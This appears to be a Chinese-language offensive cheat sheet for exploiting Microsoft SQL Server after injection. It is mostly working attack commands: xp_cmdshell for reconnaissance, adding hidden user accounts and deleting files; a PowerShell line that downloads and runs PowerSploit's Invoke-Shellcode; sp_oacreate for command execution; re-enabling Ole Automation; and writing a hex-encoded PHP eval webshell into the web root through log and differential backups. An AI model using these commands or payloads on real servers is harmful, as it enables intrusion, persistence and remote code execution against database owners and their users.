关闭xp_cmdshell存储过程
关闭xp_cmdshell存储过程
EXEC sp_configure 'showadvanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
删除xp_cmdshell语句
dropprocedure xp_cmdshell; exec sp_addextendedproc "xp_cmdshell", "xplog70.dll";
附录:
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' exec sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll' exec sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll' exec sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll' exec sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll' exec sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll' exec sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll' exec sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll' exec sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll' exec sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll' exec sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll' exec sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_regread ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'
(2)xp_cmdshell执行系统命令
#whoami exec master.dbo.xp_cmdshell 'whoami' exec master.dbo.xp_cmdshell "whoami" exec xp_cmdshell "whoami"; #ipconfig/all exec master..xp_cmdshell 'ipconfig/all' #查询操作系统和版本信息(分别对应中英文系统) exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"' exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"' #通过xp_cmdshell执行wmic获取系统信息 exec master..xp_cmdshell 'wmic cpu get name,NumberOfCores,NumberOfLogicalProcessors/Format:List #调用reg query注册表键值判断RDP服务的端口号 exec master..xp_cmdshell 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber' #通过xp_cmdshell执行添加testuser1用户并不输出结果 exec master..xp_cmdshell 'Net user testuser1 passwd1 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add',NO_OUTPUT #通过xp_cmdshell删除testuser1用户并且不输出结果 EXEC master..xp_cmdshell 'net user testuser1/delete', NO_OUTPUT exec master.dbo.xp_cmdshell 'taskkill /f /im taskmgr.exe'; #调用xp_cmdshell执行mkdir命令创建目录 exec master..xp_cmdshell 'mkdir "C:\test\"' #通过xp_cmdshell执行dir命令 exec master..xp_cmdshell 'dir c:\' exec xp_cmdshell 'dir c:\' #通过xp_cmdshell删除文件 exec master..xp_cmdshell 'del C:\test'; #xp_cmdshell调用Powershell 这个调试的时候出现一点点问题 #通过xp_cmdshell调用powershell下载 #http://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1 exec xp_cmdshell 'powershell -c "iex((new-object Net.WebClient).DownloadString(''http://raw.githubusercontent.com/cheetz/PowerSpl oit/master/CodeExecution/Invoke--Shellcode.ps1''))"'
通过xp_cmdshell执行添加testuser1用户并且不输出结果
exec master..xp_cmdshell 'Net user testuser1 passwd1 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add',NO_OUTPUT
删除testuser1用户并不输出结果
EXEC master..xp_cmdshell 'net user testuser1/delete', NO_OUTPUT
(3)xp_regread 对注册表进行增删改查
SQL Server存在一系列的存储过程,可以对注册表进行增删改查。xp_regread、xp_regwrite、xp_regdeletvalue、xp_regdeletkey、xp_regaddmultistring
读注册表
exec xp_regread 'HKEY_current_user','Control Panel\International','sCountry' exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH'
枚举可用的注册表键值
exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'
(4)xp_fileexist 判断文件是否存在
判读文件是否存在,第一列返回0表示文件不存在,返回1表示文件存在。当执行完无回显命令时,一般都将结果输入至文件中,利用此存储过程可以判断无回显命令是否执行成功。
判读文件是否存在
exec xp_fileexist 'C:\\test\1.txt'
列出当前目录
exec xp_subdirs "C:\\"
(5)xp_getnetname 获取服务器名称
exec xp_getnetname
(6)xp_msver获取服务器信息
exec xp_msver
(7)xp_fixeddrives 获取磁盘空间信息
exec xp_fixeddrives
(8)在SA权限下使用sp_oacreate
首先查看sp_oacreate的状态:
select * from master.dbo.sysobjects where xtype='x'andname='SP_OACREATE' selectcount(*) from master.dbo.sysobjects where xtype='x'and name='SP_OACREATE'#和xp_cmdshell,状态便于观察。如果存在返回1
利用sp_oacreate执行系统命令:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c whoami /all >C:\\test\test.txt'
如果出现下面这种情况:
SQL Server 阻止了对组件 'Ole Automation Procedures' 的 过程 'sys.sp_OAMethod' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ole Automation Procedures'。
可以使用下面命令打开
EXEC sp_configure 'showadvanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
执行完成之后我们再利用sp_oacreate执行系统命令:
还可以利用sp_oacreate执行创建用户test命令:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test Password@ /add'
我在windows7使用未成功
2.2在db_owber权限下
(1)利用LOG备份上传木马getshell
这里我们就得知道SQLserver常见的备份策略:
- 每周一次完整备份
- 每天一次差异备份
- 每小时一次事务日志备份
利用前提:
- 目标机器存在数据库备份文件 ,也就是如下,我们利用test数据库的话,则需要该test数据库存在数据库备份文件
- 知道网站的绝对路径
- 该注入支持堆叠注入
alterdatabase 数据库名 setRECOVERYFULL; #修改数据库恢复模式为 完整模式 createtable cmd (a image); #创建一张表cmd,只有一个列 a,类型为image backuplog 数据库名 to disk= 'C:\phpstudy\WWW\1.php'with init; #备份表到指定路径 insertinto cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e); #插入一句话到cmd表里0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示 backuplog 数据库名 to disk='C:\phpstudy\WWW\2.php'; #把操作日志备份到指定文件 droptable cmd; #删除cmd表
(2)利用差异备份上传木马getshell
利用前提:
- 知道网站的绝对路径
- 该注入支持堆叠注入
#注:以下语句一条一条执行 createtable [dbo].[test] ([cmd] [image]) declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965backuplog @a to disk = @s with init,no_truncate#这里第二行的 0x786965,是字符 xie 的16进制表示,这里随便填都可以 insertinto [test](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e)#第三行的 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000backuplog @a to disk=@s with init,no_truncate#第四行的0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000是 C:phpstudyWWWshell.php 的16进制表示 Droptable [test]